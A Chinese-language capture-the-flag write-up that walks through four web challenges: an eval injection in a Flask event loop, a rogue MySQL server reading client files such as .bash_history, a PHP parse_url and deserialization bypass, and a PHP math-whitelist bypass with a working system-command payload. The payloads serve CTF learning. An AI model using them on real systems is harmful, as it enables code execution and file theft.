tr1ple

拖了好长时间,总结一下这一段时间做的几道值得记录一下的题目,有的没做出来,但是学习到了新的东西

1.homebrew event loop

  ddctf的一道题目,学到了python eval函数的用法,首先分析题目:

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = \'garzon\'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = \'*********************\'  # censored
url_prefix = \'/d5af31f99147e857\'


def FLAG():
    return \'FLAG_is_here_but_i_wont_show_you\'  # censored


def trigger_event(event):
    session[\'log\'].append(event)
    if len(session[\'log\']) > 5: session[\'log\'] = session[\'log\'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix) + len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException: pass


def execute_event_loop():
    valid_event_chars = set(\'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#\')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith((\'action:\', \'func:\')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == \'a\'
            action = get_mid_str(event, \':\', \';\')  # index
            args = get_mid_str(event, action + \';\').split(\'#\') #True#True
            try:
                event_handler = eval(action + (\'_handler\' if is_action else \'_function\'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = \'\'
                resp += \'ERROR! All transactions have been cancelled. <br />\'
                resp += \'<a href="./?action:view;index">Go back to index.html</a><br />\'
                session[\'num_items\'] = request.prev_session[\'num_items\']
                session[\'points\'] = request.prev_session[\'points\']
                break
            except Exception, e:
                if resp is None: resp = \'\'
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == \'\': resp = (\'404 NOT FOUND\', 404)
    session.modified = True
    return resp


@app.route(url_prefix + \'/\')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == \'\' or (not querystring.startswith(\'action:\')) or len(querystring) > 100:
        querystring = \'action:index;False#False\'
    if \'num_items\' not in session:
        session[\'num_items\'] = 0
        session[\'points\'] = 3
        session[\'log\'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()


# handlers/functions below --------------------------------------

def view_handler(args):
    page = args[0]
    html = \'\'
    html += \'[INFO] you have {} diamonds, {} points now.<br />\'.format(session[\'num_items\'], session[\'points\'])
    if page == \'index\':
        html += \'<a href="./?action:index;True%23False">View source code</a><br />\'
        html += \'<a href="./?action:view;shop">Go to e-shop</a><br />\'
        html += \'<a href="./?action:view;reset">Reset</a><br />\'
    elif page == \'shop\':
        html += \'<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />\'
    elif page == \'reset\':
        del session[\'num_items\']
        html += \'Session reset.<br />\'
    html += \'<a href="./?action:view;index">Go back to index.html</a><br />\'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == \'True\':

        source = open(\'eventLoop.py\', \'r\')
        html = \'\'
        if bool_download_source != \'True\':
            html += \'<a href="./?action:index;True%23True">Download this .py file</a><br />\'
            html += \'<a href="./?action:view;index">Go back to index.html</a><br />\'

        for line in source:
            if bool_download_source != \'True\':
                html += line.replace(\'&\', \'&amp;\').replace(\'\t\', \'&nbsp;\' * 4).replace(\' \', \'&nbsp;\').replace(\'<\',
                                                                                                              \'&lt;\').replace(
                    \'>\', \'&gt;\').replace(\'\n\', \'<br />\')
            else:
                html += line
        source.close()

        if bool_download_source == \'True\':
            headers = {}
            headers[\'Content-Type\'] = \'text/plain\'
            headers[\'Content-Disposition\'] = \'attachment; filename=serve.py\'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event(\'action:view;index\')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return \'invalid number({}) of diamonds to buy<br />\'.format(args[0])
    session[\'num_items\'] += num_items
    trigger_event([\'func:consume_point;{}\'.format(num_items), \'action:view;index\'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session[\'points\'] < point_to_consume: raise RollBackException()
    session[\'points\'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return \'You naughty boy! ;) <br />\'


def get_flag_handler(args):
    if session[\'num_items\'] >= 5:
        trigger_event(\'func:show_flag;\' + FLAG())  # show_flag_function has been disabled, no worries
    trigger_event(\'action:view;index\')


if __name__ == \'__main__\':
    app.run(debug=False, host=\'0.0.0.0\')

这道题目首先通读源码是必须的,另一个必须要了解到的出题点在eval()函数这个地方,eval中可以传入#来注释掉后面的部分

从上图可以看出来,此时eval会忽略掉#后面的所有字符串,以及要做出这道题的另一个点:

打破程序进行的流程,先加钻石数量再检验钱数,并且可以给事件传入一个列表,那么先加钻石,在检验钱之前去getflag即可,而且这里会把flag带到log中去,总之就是在一个正常的处理序列中去插入一个新的事件,因为eval这里可控,所以刚开始就应该反映到出题点,实际上就是代码注入

在这里!

 2.mysql弱口令

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders(\'content-length\')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen([\'netstat\', \'-tlnp\'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {\'local_address\': Local_Address, \'Process_name\': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print(\'Listening on localhost:%s\' % port)
    server = HTTPServer((\'0.0.0.0\', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

 这道题主要是来攻击mysql连接的客户端,这个题目给了agent.py 是用来检测是不是服务器上存在mysqld进程,而判断是通过do_get和do_post两个函数确定的,这两个函数都会调用_func函数,返回进程名,然后do_get 和do_post再把_func的返回值输出,

所以只需要让最后输出的存在mysqld就行了,然后就可以在服务器上读取客户端的文件。

这里读取客户端的.mysql_histoty文件,这个文件存储了用户登陆mysql服务器所执行的命令,也可以读取.bash_history

在这里又可以读到web的源码地址,所以可以继续读取它:

在这里能够发现flag所在的库和表,所以就可以读取表中的内容,又因为linux下,mysql安装后,数据库的数据默认存放在/var/lib/mysql目录下,所以可以直接访问其中的库表,所以可以直接读取

/var/lib/mysql/security/flag.ibd

 3.just soso

这道题比较常规

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
    echo \'Missing parameter\'.\'<br>\';
}
if(preg_match("/flag/",$file)){
    die(\'hack attacked!!!\');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER[\'REQUEST_URI\']);
    parse_str($url[\'query\'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
            die(\'stop hacking!\');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

这里主要记录一下绕过parse_url,这里会检测flag字符串,但是要是让parse_url

这样就能使parse_url返回false,这样绕过对flag的过滤,然后后面就是常规的反序列化漏洞,这里要记住最后的序列化的数据因为有不可见字符所以需要urlencode一下

 4.math

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET[\'c\'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET[\'c\']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [\' \', \'\t\', \'\r\', \'\n\',\'\\'\', \'"\', \'`\', \'\[\', \'\]\']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match(\'/\' . $blackitem . \'/m\', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = [\'abs\', \'acos\', \'acosh\', \'asin\', \'asinh\', \'atan2\', \'atan\', \'atanh\', \'base_convert\', \'bindec\', \'ceil\', \'cos\', \'cosh\', \'decbin\', \'dechex\', \'decoct\', \'deg2rad\', \'exp\', \'expm1\', \'floor\', \'fmod\', \'getrandmax\', \'hexdec\', \'hypot\', \'is_finite\', \'is_infinite\', \'is_nan\', \'lcg_value\', \'log10\', \'log1p\', \'log\', \'max\', \'min\', \'mt_getrandmax\', \'mt_rand\', \'mt_srand\', \'octdec\', \'pi\', \'pow\', \'rad2deg\', \'rand\', \'round\', \'sin\', \'sinh\', \'sqrt\', \'srand\', \'tan\', \'tanh\'];
    preg_match_all(\'/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/\', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval(\'echo \'.$content.\';\'); 
}

 方法一:

这道题主要还是构造没有字母的shell,这里面又提供了进制转换的函数base_convert(),说明可以用0-9a-z 36个字符,那么就可以构造shell,这里主要通过分析一个payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
这里通过构造动态函数,首先base_convert()构造hex2bin,把16进制转换为字符串,再通过“_GET” -> 16进制表示,再到10进制表示,然后反过来dechex()->hex2bin(),然后结合动态函数
比如$a="_GET";$$a{c}(($$a){d}); 这样将实际的payload放在GET参数中,从而来减小长度。
另外一个点是php的数组不仅可以通过[]来进行索引,还可以通过{}来进行索引。
方法2:
另一种构造出_GET的方法是通过异或字符串:
比如要得到_G,则可以通过:

具体怎么得出:可以通过“_G”和两个字符异或:

for($j=0;$j<10;$j = $j+1){
    for($i=0;$i<10;$i = $i+1){
    echo $i.$j." ";
    echo "_G"^($j).($i);
    echo "\n";
}}

可以得到两位字符串,这里也可以选3位或者4位跑,但是因为得到的字符串需要在白名单里面找,所以太长了找不到,所以选两位最好,一位会增加payload长度,因此is是在白名单里存在的,所以就可以使用,同样的方法去找“ET”,最后
还是去构造动态函数就可以了。
$abs=(is_finite^(6).(4)).(rad2deg^(7).(5));$$abs{acos}($$abs{ceil})

 



 

分类:

技术点:

相关文章:

  • 2021-07-28
  • 2022-12-23
  • 2022-02-23
  • 2021-10-03
  • 2021-10-03
  • 2021-09-30
  • 2021-10-07
  • 2022-01-01
猜你喜欢
  • 2021-12-01
  • 2019-09-21
  • 2022-12-23
  • 2022-12-23
  • 2021-09-04
相关资源
相似解决方案